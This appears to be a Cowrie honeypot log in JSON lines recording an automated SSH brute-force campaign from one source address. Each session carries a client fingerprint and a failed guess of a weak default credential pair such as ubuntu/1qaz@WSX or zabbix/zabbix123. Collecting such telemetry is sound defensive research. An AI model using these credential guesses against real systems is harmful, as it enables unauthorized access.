{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54900,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b5fbac1622","protocol":"ssh","message":"New connection: 141.11.88.14:54900 (10.17.0.5:22) [session: 75b5fbac1622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:13.324039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:13.388326Z","src_ip":"141.11.88.14","session":"75b5fbac1622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:13.484018Z","src_ip":"141.11.88.14","session":"75b5fbac1622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:14.061505Z","src_ip":"141.11.88.14","session":"75b5fbac1622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:15.243607Z","src_ip":"141.11.88.14","session":"75b5fbac1622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.03525638580322,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:18.317767Z","src_ip":"128.199.8.54","session":"2a912d026491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19814,"dst_ip":"10.17.0.5","dst_port":22,"session":"350b10c1a9ea","protocol":"ssh","message":"New connection: 141.11.88.14:19814 (10.17.0.5:22) [session: 350b10c1a9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:20.475687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:20.588133Z","src_ip":"141.11.88.14","session":"350b10c1a9ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:20.591563Z","src_ip":"141.11.88.14","session":"350b10c1a9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:21.049421Z","src_ip":"141.11.88.14","session":"350b10c1a9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:22.151784Z","src_ip":"141.11.88.14","session":"350b10c1a9ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19838,"dst_ip":"10.17.0.5","dst_port":22,"session":"60386d19ea1c","protocol":"ssh","message":"New connection: 141.11.88.14:19838 (10.17.0.5:22) [session: 60386d19ea1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:26.867223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:26.948992Z","src_ip":"141.11.88.14","session":"60386d19ea1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:27.201411Z","src_ip":"141.11.88.14","session":"60386d19ea1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sahil","password":"sahil","message":"login attempt [sahil/sahil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:28.157721Z","src_ip":"141.11.88.14","session":"60386d19ea1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:29.740544Z","src_ip":"141.11.88.14","session":"60386d19ea1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16384,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff6501d4523","protocol":"ssh","message":"New connection: 141.11.88.14:16384 (10.17.0.5:22) [session: 5ff6501d4523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:33.316198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:33.717554Z","src_ip":"141.11.88.14","session":"5ff6501d4523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:33.720930Z","src_ip":"141.11.88.14","session":"5ff6501d4523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix123","message":"login attempt [zabbix/zabbix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:36.459312Z","src_ip":"141.11.88.14","session":"5ff6501d4523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:37.780253Z","src_ip":"141.11.88.14","session":"5ff6501d4523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60076,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aae97d3121c","protocol":"ssh","message":"New connection: 141.11.88.14:60076 (10.17.0.5:22) [session: 7aae97d3121c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:40.921600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:41.004496Z","src_ip":"141.11.88.14","session":"7aae97d3121c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:41.019701Z","src_ip":"141.11.88.14","session":"7aae97d3121c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:41.727839Z","src_ip":"141.11.88.14","session":"7aae97d3121c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:42.937058Z","src_ip":"141.11.88.14","session":"7aae97d3121c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37686,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeac04365297","protocol":"ssh","message":"New connection: 141.11.88.14:37686 (10.17.0.5:22) [session: eeac04365297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:48.711784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:48.878568Z","src_ip":"141.11.88.14","session":"eeac04365297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:48.882300Z","src_ip":"141.11.88.14","session":"eeac04365297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"123","message":"login attempt [public/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:49.805554Z","src_ip":"141.11.88.14","session":"eeac04365297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:50.955052Z","src_ip":"141.11.88.14","session":"eeac04365297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37730,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d1e4142203d","protocol":"ssh","message":"New connection: 141.11.88.14:37730 (10.17.0.5:22) [session: 1d1e4142203d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:55.671904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:55.721825Z","src_ip":"141.11.88.14","session":"1d1e4142203d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:55.814418Z","src_ip":"141.11.88.14","session":"1d1e4142203d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gold","password":"gold","message":"login attempt [gold/gold] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:56.498260Z","src_ip":"141.11.88.14","session":"1d1e4142203d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:57.583477Z","src_ip":"141.11.88.14","session":"1d1e4142203d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17900,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccbd744154ef","protocol":"ssh","message":"New connection: 141.11.88.14:17900 (10.17.0.5:22) [session: ccbd744154ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:02.059489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:02.151572Z","src_ip":"141.11.88.14","session":"ccbd744154ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:02.158732Z","src_ip":"141.11.88.14","session":"ccbd744154ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:02.757243Z","src_ip":"141.11.88.14","session":"ccbd744154ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:03.906663Z","src_ip":"141.11.88.14","session":"ccbd744154ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59210,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a78abaafd1e","protocol":"ssh","message":"New connection: 141.11.88.14:59210 (10.17.0.5:22) [session: 0a78abaafd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:09.527179Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":33784,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ef81186fc9","protocol":"ssh","message":"New connection: 211.253.37.225:33784 (159.203.135.109:22) [session: b9ef81186fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:09.621348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:09.626345Z","src_ip":"211.253.37.225","session":"b9ef81186fc9","protocol":"ssh"}
